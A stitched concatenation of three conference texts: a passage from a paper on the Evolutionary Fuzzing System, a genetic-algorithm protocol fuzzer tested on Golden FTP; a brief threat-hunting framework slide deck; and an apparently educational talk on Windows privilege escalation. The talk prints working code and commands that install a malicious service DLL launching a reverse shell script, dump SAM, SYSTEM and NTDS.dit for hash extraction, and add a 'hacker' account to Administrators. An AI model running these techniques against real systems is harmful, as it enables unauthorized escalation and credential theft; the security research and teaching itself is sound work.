protocol. For example, if we’re testing SMTP some strings we’d expect to find in the seed file would be: “helo”, “mail to: “, “mail from: “, “data”, “\r\n.r\n”, etc. EFS could find the strings required to speak the SMTP language, but for performance, initialing some sessions with known requirements (such as a valid username and password, etc.) will be beneficial. EFS uses fuzzing heuristics in mutation to keep the fuzzer from learning the protocol completely correct. Fuzzing heuristics include things like bit-flipping, long string insertion, format string creation, etc. Probably even more important is the implicit fuzzing that a GA performs. Many permutations of valid command orderings will be tried and retried with varying data. The key to fuzzing is the successful delivery, and subsequent consumption by the target, of semi-valid sessions of data. Sessions that are entirely correct will find no bugs. Sessions that are entirely bogus will be rejected by the target. Testers might call this activity “good test case development”. While the evolutionary tool is learning the unfamiliar network protocol, it may crash the code. That is, as we go through the many iterations of trying to learn each layer of a given protocol we will be implicitly fuzzing. If crashes occur, we make note of them and continue trying to learn the protocol. Those crashes indicate places of interest in the target code for fixing or exploiting depending on which hat is on. The probability of finding bugs, time to convergence, and total diversity are still under research at this time. A possible interesting side effect of automatic protocol discovery is the iteration paths through a give protocol. Consider for example the recent VNC bug. The option to use no authentication was a valid server setting, but should never have been possible to exercise from the client side unless specifically set on the server side. However, this bug allowed a VNC client to choose no authentication even when the server was configure to force client authentication. This allowed a VNC client to control any VNC server (of a specific release version) without valid credentials. This notion indicates that it might be possible to use EFS results, even if no robustness issues are discovered, to uncover possible security or unintended functionality errors. Data path analysis of the matured sessions would be required at the end of a run. Total diversity is perceived to be an important metric leading to maximum bug discovery capability. Diversity indicates the percentage of code coverage on the current attack surface. If EFS converges to one best session, and than all other sessions begin to look like that (which is common in genetic algorithms), this will be the only path through code that is thoroughly tested. Thus, it’s important to measure diversity while testing. As a method to test such capabilities a benchmarking system is in development. Initial results are interesting and indicate that the use of multiple pools to store sessions is helpful in maintaining a slightly higher level of diversity. However, maximum diversity (total attack surface coverage) was not possible with pools. We intend to develop a newer niching or speciation technique, which will measure the individuality of each session. Those that are significantly different from the best session, regardless of session fitness, will be kept. (I.e., they will be exempt from the crossover process). In this case, the simple fitness function we use now (hit basic blocks or functions) would be a little more complex. Again, it would than consider session uniqueness [15]. GPF + PaiMei + Jpgraph Reporting + Countless Hours of Implementation = EFS: We choose to build upon GPF because the primary author of this paper is also the author of that fuzzer, and consequently controls access to the source code. GPF was designed to fuzz arbitrary protocols given a capture of real network traffic. In this case, no network sniff is required, as EFS will learn the protocol dynamically. PaiMei was chosen because if it’s ability to “stalk” a process. The process of stalking involves: • Pre-analyzing an executable to find functions and basic blocks • Attach to that executable as it runs and set breakpoints. • Checking off those breakpoints as they are hit. GPF and PaiMei had to be substantially modified to allow the realization of EFS. PHP code, using the Jpgraph library, was written to access the database to build and report graphical results. EFS Data Structures A session is one full transaction with the target. A session is made up of legs (reads or writes). Each leg is made up of tokens. A token is a piece of data. Each token has a type (ASCII, BINARY, LEN, etc.) and some data (“jared”, \xfe340078, etc.). Sessions are organized into pools of sessions. See Figure 2. This organization is for data management, but we also maintain a pool fitness, the sum of the unique function hits found by all sessions. Thus, we maintain two levels of fitness for EFS: session fitness and pool fitness. We maintain pool fitness because it is reasonable that a group of lower fit sessions, when taken together, could be better at finding bugs than any single, high-fit session. In genetic algorithm verbiage [7], each chromosome represents a communication session. Figure 2: Data Structures in EFS EFS Initialization Initially, p pools are filled with at most s-max sessions each of which has at most l-max legs each of which has at most t-max tokens. The type and data for each token are drawn 35% of the time from a seed file or 65% of the time randomly generated. Again, a seed file should be created for each protocol under test. If little is known about the protocol a generic file could be used, but pulling strings from a binary via reverse engineering, or sniffing actual communications is typically possible. Using no seed file is also a valid option. For each generation, every session is sent to the target and a fitness is generated. The fitness is coverage which we measure as the number of functions or basic blocks hit in the target. At the end of each generation, evolutionary operators are applied. The rate (every x generations) at which session mutation, pool crossover, and pool mutation occurs is configurable. Session crossover occurs every generation. Session Crossover Having evaluated code-coverage/fitness for each session, we use the following algorithm for crossover (see Figure 3): Figure 3: Session Crossover 1. Order the sessions by fitness, with the most fit being first. 2. The first session is copied to the next generation untouched. Thus we do use elitism. 3. Randomly pick two parents, A and B, and perform single point crossover, creating children A’ and B’. Much like over-selection in genetic programming, 70% of the time we use only the top half of the sorted list to pick parents from. 30% of the time we chose from the entire pool. 4. Copy all of the A Legs into A’ up until the leg that contains the cross point. Create a new leg in A’. Copy all tokens from current A leg into the new A’ leg, up until the cross point. In session B advance to the leg that contains the cross point. In that leg advance to the token after the cross point. From there, copy the remaining tokens into the current A’ leg. Copy all the remaining legs from B into A’. 5. If we have enough sessions stop. Else, 6. Create B’ from (B x A) 7. Start in B. Copy all of the B Legs into B’ up until the leg that contains the cross point. Create a new leg in B’. Copy all tokens from that B leg into the new B’ leg, up until the cross point. In session A advance to the leg that contains the cross point. In that leg advance to the token after the cross point. From there, copy the remaining tokens into the current B’ leg. Copy all the remaining legs from A into B’. 8. Repeat until our total number of sessions (1st + new children) equals the number we started with. Session Mutation Since we are using elitism, the elite session is not modified. Otherwise, every session is potentially mutated with probability p. The algorithm as follows (example in Figure 4): Figure 4: Session Mutation 1. For each session we randomly choose a leg to do a data mutation on. We then randomly choose another leg to do a type mutation on. 2. A Data mutation modifies the data in one random token in the chosen leg. Fuzzing heuristics are applied, but a few rules are in place to keep the tokens from growing to large. 3. If the token is too large or invalid, we truncate or reinitialize. 4. The heuristics file also contains the rules detailing how each token is mutated. For example a token that contains strings (ASCII, STRING, ASCII_CMD, etc) is more likely to be mutated by the insertion of a large or format string. Also, as part of the information we carry on each token we will know if each token contains specific ASCII traits such as numbers, brackets, quotes, etc. We may mutate those as well. Tokens of type (BINARY, LEN, etc.) are more likely to have bits flipped, hex values changed, etc. 5. The type mutation has a chance to modify both the type of the leg and the type of one token in that leg. Leg->type = _rand(2) could reinitialize the legs type. (That will pick either a 0 or a 1. 0 indicates READ and 1 indicates WRITE.) tok- >type = _rand(14) could reinitialize the tokens type. There are 0-13 valid types. For example, STRING is type 0. (structs.h contains all the definitions and structure types.) Pool Crossover Pool crossover is very similar to session crossover, but the fitness is measured differently. Pool fitness is measured as the sum of the code uniquely covered by the sessions within. That is, count all the unique functions or basic blocks hit by all sessions in the pool. This provides a different (typically better) measure than say the coverage by the best session in the pool. See Figure 5. Figure 5: Pool Crossover The algorithm is: 1. Order the pools by fitness, with the most fit being first. Again, pool fitness is the sum of all the sessions’ fitness. 2. The first pool is copied to the next generation untouched. Thus elitism is also operating at the pool level 3. Randomly pick two parents and perform single point crossover. The crossover point in a pool is the location that separates one set of sessions from another. 70% of the time we use only the top half of the sorted list to pick parents from. 30% of the time we chose from the entire list of pools. 4. Create A’ from (A x B): 5. Start in A. Copy all of the sessions from A into A’ up until the cross point. In pool B, advance to the session after the cross point. From there, copy the remaining sessions into A’. 6. If we have enough pools stop. Else, 7. Create B’ from (B x A) 8. Start in B. Copy all of the sessions from B into B’ up until the cross point. In pool A, advance to the session after the cross point. From there, copy the remaining sessions into B’. 9. Repeat until our total number of pools (1st + new children) equals the number we started with. Pool Mutation As with session mutation, pool mutation does not modify the elite pool. The algorithm is (example in Figure 6): Figure 6: Pool Mutation 1. 50% of time we add a session according to the new session initialization rules. 2. 50% of the time we delete a session. 3. If the sessions/pool are fixed, we do both. 4. In all cases, we don’t disturb the first session. Running EFS From a high level, the protocol between EFS-GPF and EFS-PaiMei is as follows: GPF initialization/setup data PaiMei Ready PaiMei <GPF carries out communication session with target> GPF {OK|ERR} PaiMei <PaiMei stores all of the hit and crash (if any) information to the database> When all of the sessions for a given generation have been played GPF contacts the database, calculates a fitness for each session (counts hits) and for each pool (distinct hits for all sessions within a pool), and breeds sessions and pools as indicated by the configuration options (See the description of Figure 8). Figures 7 and 8 show the EFS-GPF and EFS-PaiMei portions of EFS in action. For the GUI portion we see: 1. Two methods to choose an executable to stalk: a. The first is from a list of process identifications (PIDs). Click the “Refresh Process List” to show running processes. Click the process you wish to stalk. b. The second is by specifying the path to the executable with arguments. An example would be: “c:\textserver.exe” med 2. We can choose to stalk functions (funcs) or basic blocks (BBs). 3. The time to wait for each target process load defaults to 6 seconds, but could be much less (1 second) in many cases. 4. Hits can be stored to the GPF or PaiMei sub-databases that are in the Mysql database. PaiMei should be used for tests or creating filter tags, while GPF should be used for all EFS runs. 5. After each session, or stalk, we can do nothing, detach from the process (and reattach for the next stalk), or terminate the process. The same options are available if the process crashes. 6. Use the PIDA Modules box for loading the .pida files. These are derived from executables or dynamically linked libraries (.DLLs), and are used to set the breakpoints which enable the process stalking to occur. One executable needs to be specified and as many .DLLs as desired. (Note: Sometimes processes will include files called .api, .apl, etc which are really .DLLs and can be used here as well.) 7. There is a dialog box under Connections to connect to the Mysql database. Proper installation and setup of EFS-PaiMei (database, etc.) is included in a document in the EFS source tree. 8. The Data Sources box is the place to view target lists and to create filter tags. This is done to speed up EFS, by weeding out hits that are common to every session. The process to create a filter tag is: a. Define a filter tag. (We called ours “ApplictionName_startup_conn_junk_disconn_shutdown”) b. Stalk with that tag and record to the PaiMei database c. Start the target application d. Using netcat, connect to the target application e. Send a few random characters f. Disconnect g. Shutdown the target application 9. There is another dialog box that defines the GPF connection to EFS-PaiMei called Fuzzer Connect. a. The default port is 31338 (if you don’t get why that number, ask a hax0r). b. The general wait time describes how long each session has to complete before EFS will move on to the next session. This is needed to coordinate the hit dumping to mysql after each session. The default is .8 but for lean applications running around .2 should be fine. For larger applications more time will be required for each session. Tuning this number is the key to the speed that EFS will run at. (For example: .4*100000=11hrs, .8*100000=22hrs, 1.6*100000=44hrs, etc) c. The “dump directory” defines a place for EFS to dump crash information should a robustness issue be found. We typically create a directory of the structure “..\EFS_crash_data\application_name\number”. d. The number should coordinate to the GPF_ID for clarity and organization. Figure 7: The GUI portion of EFS For the GPF (command line) portion of EFS we have 32 options: 1. –E indicates GPF is in the evolving mode. GPF has other general purpose fuzzing modes which will not be detailed here. 2. IP of Mysql db 3. Username of Mysql db 4. password for Mysql db 5. GPF_ID 6. Starting generation. If a number other than zero is specified, a run is picked up where it left off. This is helpful if EFS where to crash, hang, or quit. 7. IP of GUI EFS 8. Port of GUI EFS 9. Stalk type. Functions or basic blocks. 10. Play mode. Client indicates we connect to the target and server is the opposite. 11. IP of target. (Also IP of proxy in proxy mode.) 12. Port of target. (Also port of proxy in proxy mode.) 13. Source port to use. ‘?’ lets the OS choose. 14. Protocol. TCP or UDP 15. Delay time in milliseconds between each leg of a session. 16. Number of .01 seconds slots to wait while attempting to read data. 17. Output verbosity. Low, med, or high. 18. Output mode. Hex, ASCII, or auto. 19. Number of pools. 20. Number of sessions/pool. 21. Is the number fixed or a max? Fixed indicates it must be that number while max allows any number under that to valid as well. 22. Legs/session 23. Fixed or max 24. Tokens/leg 25. Fixed or max 26. Total generations to run 27. Generation at which to perform session mutation 28. Generation at which to perform pool crossover 29. Generation at which to perform pool mutation 30. User definable function on outgoing sessions. None indicates there isn’t one. 31. Seed file name. 32. Proxy mode. Yes or no. A proxy can be developed to all EFS to run against none network protocols such as internal RPC API calls, etc. 33. (UPDATE: A 33rd was just added to control diversity.) Figure 8: The GPF UNIX command line portion of EFS Benchmarking The work in this section has become intense enough to warrant a whole new paper. See Benchmarking Grey-box Robustness Testing Tools with an Analysis of the Evolutionary Fuzzing System (EFS) [15]. The topics in that paper include: • Attack surface example • Functions vs. basic blocks. • Learning a binary protocol • Pools vs. niching o EFS Fitness function updates to achieve greater diversity Test Case – Golden FTP server The first test target was the Golden FTP server (GFTP) [9]. It is a public domain ftp server GUI application for Windows that has been available since 2004. Analysis shows approximately 5100 functions in GFTP, of which about 1500 are concerned with the GUI/startup/shutdown/config file read/etc, leaving potentially 3500 functions available. However, the typical attack surface of a program is considerably smaller, often around 10%. We show more evidence of this in the benchmarking research. Three sets of experiments were run. Each experiment was run 3 times on two separate machines (6 total runs/experiment). The reason for two machines was two fold: time savings, as each complete run can take about 6hrs/100generations, and to be sure configurations issues were not present on any one machine. Experiment 1 is 1 pool of 100 sessions. Experiment 2, 4 pools each with 25 sessions. Experiment 3, 10 pools each with 10 sessions. All other parameters remain the same: target was Golden Ftp Server v1.92, 10 legs/session, 10 tokens/leg, 100 total generations, session mutation every 7 generations, for multiple pool runs—pool crossover every 5 generations, and pool mutation every 9 generations. For these experiments we used function hits as the code coverage metric. The session, leg, and token sizes are fixed values. Results Figure 9 shows the average fitness for both pool and session runs, averaged over all the runs for each group. Figure 10 shows the best fitness for both pool and session, selected from the “best” run (that is, the best session of all the runs in the group, and the best pool of all the runs in the group). The first thing that Figure 9 shows us is that pools are more effective at covering code than any single session. Even the worst pool (1-pool) covers more code than the best session. Roughly speaking, the best pool covers around twice as much as the best session. The second observation that Figure 9 shows us is that multiple, interacting pools are more effective than a single large pool. Note that this is not just a conclusion about island-parallel evolutionary computation [11], since the interaction between pools is more frequent and of a very different nature than the occasional exchange of a small number of individuals as found in island parallelism. The pool interaction is more in line with a second-order evolutionary process, since we are evolving not only at the session level, but also at the pool level. While pool-1 starts out with better coverage, it converges to less and less coverage. Both 4-pool and 10-pool start out with less coverage, but have a positive fitness trajectory on average, and 4-pool nearly equals the original 1-pool performance by around generation 180 and appears to still be progressing. Figure 10 shows that, selecting for the best pool/session from all the runs (not the averages as in Figure 5), 4-pool does slightly outperform other approaches. That is, the best 4-pool run outperformed any other best pool, and greatly outperformed any best session. The information provided by Figures 11, 12, and 13 shows the following: First, they show the total number of crashes that occurred across all runs for 1-pool, 4-pool, and 10- pool. The numbers around the outside of the pie chart are the actual number of crashes that occurred for that piece, while the size of each pie chart piece indicates that crash’s relative frequency with respect to all crashes encountered. Furthermore, the colors of each piece reflect the addresses in gftp.exe where the crashes occurred. Remember that the only measure of fitness that EFS uses is the amount of code covered, not the crashes. However, these crash numbers provide a kind of history of the breadth of search each experiment has developed. For example, all 3 experiments crashed predominantly at address 0x7C80CF60. However, 10-pool found a number of addresses that neither of the others did, for example the other 0x7C addresses. GFTP is an interesting (and obviously buggy) application. In creates a new thread for each connection, and even if that thread crashes can keep processing the current session in a new thread. This allows for multiple crashes/session, something that was not originally considered. This accounts for the thousands of crashes observed. Also, keep in mind these tests are done in a lab environment, not on productions systems. Nothing was affected by our crashes, or could have caused them. These tests were done in January 2007, and no ongoing effort against GFTP is in place to note rather or not these bugs have been patched. Also, no time was spent attempting to develop exploits from the recorded crash data. It is the authors’ opinion that such exploits could be developed but we would rather focus on continued development and testing of EFS. Figure 9: Average Fitness of pool and session over 6 runs Figure 10: Best of Pool and Session over 6 Runs Figure 11: 1-pool Crash Total (all runs) Figure 12: 4-pool Crash Total (all runs) Figure 13: 10-pool Crash Total (all runs) Conclusions and Future Work We have shown that EFS was able to learn a protocol and find bugs in real software using a grey-box evolutionary robustness testing technique. Continuing research: • What is the probability to find various bug types as this is the final goal of this research o How does its performance compare with existing fuzzing technologies? o What bugs can be found and in what software? • Could this type of learning be important to other fields? • Is it possible to cover the entire attack surface with our approach? How would one know, since we don’t have the source code? o Pools don’t seem to have completely covered the target interface, is their a niching or speciation approach we can design ? • Testing of clear text protocols was done, but is it also possible to learn more complex binary protocols? References [1] McMinn, P. “Search-based Software Test Data Generation: A Survey”. Software Testing, Verification & Reliability, Vol 14, Num 2, pp 105-156, 2004 [2] Roper, M. “Computer aided software testing using genetic algorithms”, in 10th International Software Quality Week, San Francisco, 1997 [3] Watkins, A., “The automatic generation of test data using genetic algorithms”, in Proceedings of the Fourth Software Quality Conference, pp 300-309, 1995 [4] B.P. Miller, L. Fredriksen, and B. So, "An Empirical Study of the Reliability of UNIX Utilities", Communications of the ACM 33, 12 (December 1990). See also http://www.cs.wisc.edu/~bart/fuzz/ [5] P. McMinn and M. Holcombe, “Evolutionary Testing Using an Extended Chaining Approach”, ACM Evolutionary Computation, Pgs 41-64, Volume 14, Issue 1 (March 2006) [6] Stefan Wappler, Joachim Wegener: Evolutionary unit testing of object-oriented software using strongly-typed genetic programming. GECCO 2006: 1925-1932 [7] Goldberg, David E. Genetic Algorithms in Search, Optimization and Machine Learning Addison-Wesley Pub. Co. 1989. ISBN: 0201157675 [8] http://www.appliedsec.com/resources.html [9] http://www.goldenftpserver.com/ [10] Pedram Amini, PaiMei Reverse Engineering Framework, http://pedram.redhive.com/PaiMei/ [11] Cantu-Paz, E. “Efficient and Accurate Parallel Genetic Algorithms”, Kluwer Academic Publishers, 2000 [12] Pargas, Harrold, & Peck. “Test-Data Generation Using Genetic Algorithms”, Journal of Software Testing, Verification and Reliability, 1999. [13] Wegener, Sthamer, & Baresel. “Application Fields for Evolutionary Testing”, EuroSTAR, 2001. [14] A mailing list dedicated to the discussion of fuzzing. [email protected] [15] J. DeMott, “Benchmarking Grey-box Robustness Testing Tools with an Analysis of the Evolutionary Fuzzing System (EFS)”, continuing PhD research
pdf
#BHUSA @BlackHatEvents Open Threat Hunting Framework John Dwyer, X-Force Head of Research (@TactiKoolSec, LinkedIn: john-dwyer-xforce) Neil Wyler, X-Force Global ATA Lead (@Grifter801) Sameer Koranne, X-Force Global OT Lead #BHUSA @BlackHatEvents Information Classification: General Chasing Excellence High Performers Value Maturity Analysis of high performing programs revealed that alignment with a mission was a stronger indicator of value and maturity than technical investment. #BHUSA @BlackHatEvents Information Classification: General “You cannot look in a new direction by looking harder in the same direction.” #BHUSA @BlackHatEvents Information Classification: General Open Threat Hunting Framework Foundational Structure Operational Measurement Maturity Communication Continuous Improvement Preparation Modules Framework Lab Env Foundational Structural Preparation Lab Env Operational Measurement Communication Maturity #BHUSA @BlackHatEvents Information Classification: General Open Threat Hunting Framework Continuous Improvement Foundational Structural Preparation Lab Env Operational Measurement Communication Maturity #BHUSA @BlackHatEvents Information Classification: General 6 Assessment Development Implement Capture Ideas Ideas Ideas Ideas Ideas Ideas “Great ideas are a dime a dozen. It’s the drive and execution to make those ideas something real that is rare” #BHUSA @BlackHatEvents Information Classification: General Backup/Dev
pdf
1 [show me your privileges and I will lead you to SYSTEM] Andrea Pierini, Paris, June 19th 2019 2 dir /a /r %USERPROFILE% ➔ Cyclist & Scuba Diver, Father & Husband ➔ IT Architect & Security Manager ➔ Long time experience ➔ InfoSec addicted ➔ Windows Server & Linux “early adopter” “whoami /priv” - Andrea Pierini @decoder_it | [email protected] | https://decoder.cloud | https://github.com/decoder-it Cyber Saiyan Member of: 3 dir /a /r %USERPROFILE% ➔ Cyclist & Scuba Diver, Father & Husband ➔ IT Architect & Security Manager ➔ Long time experience ➔ InfoSec addicted ➔ Windows Server & Linux “early adopter” “whoami /priv” - Andrea Pierini @decoder_it | [email protected] | https://decoder.cloud | https://github.com/decoder-it Cyber Saiyan The good old days… Member of: 4 Why this talk ➔ Escalating privileges via “Windows Privilege abusing” & “Token manipulation” techniques are often not considered and/or misunderstood ➔ Some Windows privilege manipulations techniques are not well documented ➔ So I decided to dig deeper… ➔ “Abusing Token Privileges For Windows Local Privilege Escalation “(Bryan Alexander & Stephen Breen) a great article which inspired me a lot! “whoami /priv” - Andrea Pierini 5 Agenda ➔ Intro to Windows Privileges & Tokens ➔ How to get them? ➔ Interesting privileges for escalation: ◆ SeDebug ◆ SeRestore & SeBackup & SeTakeOwnership ◆ SeTcb & SeCreateToken ◆ SeLoadDriver ◆ SeImpersonate & SeAssignPrimaryToken  From “Rotten Potato” to “Juicy Potato”  Prevention ➔ Final thoughts “whoami /priv” - Andrea Pierini 6 What are Windows Privileges? ➔ “A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers, or changing the system time” (msdn.microsoft.com) ➔ Some Users/Groups have predefined privileges ➔ Privileges are managed through the “User Right Assignment” of the Local Policies, but you can play with them using the Windows API’s too ➔ Some privileges can override permissions set on an object ➔ Some privileges assigned to users are only available in an High IL Process (elevated shell) ➔ whoami /priv will list your privileges “whoami /priv” - Andrea Pierini 7 What is a Windows Access Token? ➔ It’s an object that describes the security context of a process or thread ➔ Generated by the system during the logon process (NtCreateToken) ➔ Is used when a process or thread tries to interact with objects that have security descriptors (securable objects) or wants to perform tasks which requires adequate privileges ➔ Upon the creation of a process or thread, a copy of the token will be assigned to them “whoami /priv” - Andrea Pierini 8 What is a Windows Access Token? ➔ A Token contains: ◆ SID of the user, owner ◆ SID's for the groups of which the user is a member ◆ Logon SID ◆ List of privileges held by either the user or the user's groups ◆ Owner SID ◆ SID for the primary group ◆ DACL that the system uses when the user creates a securable object without specifying a security descriptor ◆ Source of the access token ◆ Token type (Primary or Impersonation) ◆ Optional list of restricting SIDs ◆ Current impersonation levels (SecurityAnonymous,SecurityIdentification,SecurityImpersonation,SecurityDelegation) ◆ Other statistics.. ➔ Once a token is set (PrimaryTokenFrozen bit), you cannot add new privileges to the token, only enable or disable privileges that already exist on that token (AdjustTokenPrivileges). ➔ You can change the Token type (DuplicateToken) “whoami /priv” - Andrea Pierini 9 Which accounts have special privileges? ➔ Administrators, Local System ➔ Some built-in groups (Backup, Server, Printer Operators) ➔ Local/network service accounts ➔ Managed Service and Virtual Accounts ➔ Third party application users ➔ Misconfigured users “whoami /priv” - Andrea Pierini 10 Which accounts have special privileges? “whoami /priv” - Andrea Pierini 11 Hunting “privileged” accounts ➔ Compromising the service ◆ Weak service configuration ◆ Web -> RCE ◆ MSSQL ->SQLI -> xp_cmdshell ➔ Intercepting NTLM authentication (Responder) ➔ Stealing Credentials ➔ Kerberoasting ➔ ... “whoami /priv” - Andrea Pierini 12 Obtaining privileges & manipulating tokens through “exploits” ➔ NULL ACL strategy (https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf) ➔ Replacing a process token with a SYSTEM token ➔ Partial Writes (https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) ◆ MS16-135 ◆ MS15-061 ➔ Arbitrary Writes (https://www.greyhathacker.net/?p=1025) ◆ CVE-2018-15732 (STOPzilla AntiMalware) “whoami /priv” - Andrea Pierini 13 SeDebugPrivilege ➔ “Allows the user to attach a debugger to any process.” ➔ This privilege permits read/write memory and change properties of any process (including Local System, administrator...) ➔ Inject code into privileged processes in order to perform privileged tasks (well-known various techniques, VirtualAlloc(), WriteProcessMemory(), CreateRemoteThread()..) “whoami /priv” - Andrea Pierini 14 SeDebugPrivilege “whoami /priv” - Andrea Pierini UpdateProcThreadAttribute( si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpProcThreadHandle, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); ➔ Create a new process and set the parent process a privileged process ◆ https://github.com/decoder-it/psgetsystem 15 ➔ “Allows a user to circumvent file and directory permissions when restoring backed-up files and directories“ (but also registry keys) ➔ 2 Api Calls, countless possibilities: ◆ CreateFile() with FILE_FLAG_BACKUP_SEMANTICS option ◆ RegCreateKeyEx() with REG_OPTION_BACKUP_RESTORE option ➔ Can write files anywhere, overwrites files, protected system files - even those protected by TrustedInstaller, registry entries… ➔ What else do you need ? SeRestorePrivilege “whoami /priv” - Andrea Pierini 16 ➔ Example: Modify a service running as Local System and startable by all users and get a SYSTEM shell SeRestorePrivilege “whoami /priv” - Andrea Pierini 17 ➔ Create a Service DLL SeRestorePrivilege “whoami /priv” - Andrea Pierini VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv) { (...) hServiceStatusHandle = RegisterServiceCtrlHandlerW(L"dmwappushservice",(LPHANDLER)MyHandler); if (hServiceStatusHandle == (SERVICE_STATUS_HANDLE)0) { Log("Registering Control Handler failed\n"); return; } ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hServiceStatusHandle, &ServiceStatus); (...) STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcess(L"c:\\temp\\reverse.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, &pi)) Log("Create Process failed\n"); 18 SeRestorePrivilege “whoami /priv” - Andrea Pierini ➔ Overwrite Service config in Registry std::string buffer="c:\\windows\\system32\\hackerservice.dll" LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\dmwappushservice\\Parameters", 0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &hk, NULL); stat = RegSetValueExA(hk, "ServiceDLL", 0, REG_EXPAND_SZ, (const BYTE*)buffer.c_str(), buffer.length() + 1); 19 SeRestorePrivilege “whoami /priv” - Andrea Pierini ➔ “Copy” service dll in c:\windows\system32 LPCWSTR fnamein = L"c:\\temp\\hackerservice.dll"; LPCWSTR fnameout = L"c:\\windows\\system32\\hackerservice.dll"; //LPCWSTR fnameout = L"c:\\windows\\system32\\dmwappushsvc.dll"; source = CreateFile(fnamein, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileSizeEx(source, &iSize); dest = CreateFile(fnameout, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL); ReadFile(source, buf, iSize.QuadPart, &bytesread, NULL); WriteFile(dest, buf, bytesread, &byteswritten, NULL); CloseHandle(dest); CloseHandle(source); Video 20 SeBackupPrivilege ➔ “Allows the user to circumvent file and directory permissions to backup the system. The privilege is selected only when the application attempts to access through the NTFS backup application interface. Otherwise normal file and directory permissions apply.” ➔ With this privilege you can easily backup Windows registry and use third party tools for extracting local NTLM hashes ◆ reg save HKLM\SYSTEM c:\temp\system.hive ◆ Reg save HKLM\SAM c:\temp\sam.hive “whoami /priv” - Andrea Pierini 21 SeBackupPrivilege ➔ You can also read files which normally you could not access “whoami /priv” - Andrea Pierini LARGE_INTEGER iSize; source = CreateFile(L"c:\\users\\administrator\\supersecretfile4admins.doc", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (stat != ERROR_SUCCESS) { printf("Failed opening"); exit(EXIT_FAILURE); } GetFileSizeEx(source, &iSize); void *buf= malloc(iSize.QuadPart); ReadFile(source, buf, iSize.QuadPart, &bytesread, NULL); (..) 22 SeBackupPrivilege ➔ Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT, for ex. with: “wbadmin.exe” or “diskshadow.exe” “whoami /priv” - Andrea Pierini c:\>wbadmin start backup -backuptarget:e: -include:c:\windows\ntds c:\>wbadmin get versions c:\>wbadmin start recovery -version:07/12/2018-11:09 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:c:\temp\srvdc1 -notrestoreacl c:\>reg save HKLM\SYSTEM c:\temp\srvdc1\system 23 SeBackupPrivilege ➔ Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT, for ex. with: “wbadmin.exe” or “diskshadow.exe” “whoami /priv” - Andrea Pierini c:\>wbadmin start backup -backuptarget:e: -include:c:\windows\ntds c:\>wbadmin get versions c:\>wbadmin start recovery -version:07/12/2018-11:09 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:c:\temp\srvdc1 -notrestoreacl c:\>reg save HKLM\SYSTEM c:\temp\srvdc1\system c:\temp\srvc1>myenablepriv.exe 1088 SeBackupPrivilege c:\temp\srvc1>type script.txt set metadata C:\temp\srvdc1\metadata.cab set context clientaccessible set context persistent begin backup add volume c: alias mydrive create expose %mydrive% z: c:\temp\srvdc1\>diskshadow /s script.txt c:\temp\srvdc1\>mybackuprestore.exe backup z:\windows\ntds\ntds.dit c:\temp\srvdc1\ntds.dit 24 SeBackupPrivilege & SeRestorePrivilege “whoami /priv” - Andrea Pierini If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder 25 SeBackupPrivilege & SeRestorePrivilege “whoami /priv” - Andrea Pierini If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder 26 ➔ “Allows the user to take ownership of any securable object in the system” ➔ 2 API Calls: ◆ SetSecurityInfo() ◆ SetNamedSecurityInfo() ➔ Various objects (SE_OBJECT_TYPE): Files, Printers, Shares, Services, Registry, Kernel objects.. ➔ Once gained ownership, same techniques as in SeRestorePrivilege apply ➔ Example: altering the “msiserver” service… SeTakeOwnershipPrivilege “whoami /priv” - Andrea Pierini 27 ➔ Step 1: Take ownership of the service registry key SeTakeOwnershipPrivilege (...) wchar_t infile[] = L"SYSTEM\\CurrentControlSet\\Services\\msiserver"; PSID UserSid=GetCurrentUserSID(); dwRes = SetNamedSecurityInfoW( infile, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, UserSid, NULL, NULL, NULL); (...) “whoami /priv” - Andrea Pierini 28 ➔ Step 2: Change Permissions on Registry Key .. and profit ;-) SeTakeOwnershipPrivilege (...) PSID pSIDEveryone = NULL; PACL pACL; SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone) EXPLICIT_ACCESS ea[NUM_ACES]; ea[0].grfAccessPermissions = KEY_ALL_ACCESS; ea[0].grfAccessMode = SET_ACCESS; ea[0].grfInheritance = NO_INHERITANCE; ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ea[0].Trustee.ptstrName = (LPTSTR)pSIDEveryone; SetEntriesInAcl(NUM_ACESS,ea,NULL,&pACL) (...) (...) wchar_t infile[] = L"SYSTEM\\CurrentControlSet\\Services\\ \\msiserver"; dwRes = SetNamedSecurityInfoW( infile, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL); (...) std::string buffer= "cmd.exe /c net localgroup administrators hacker /add"; 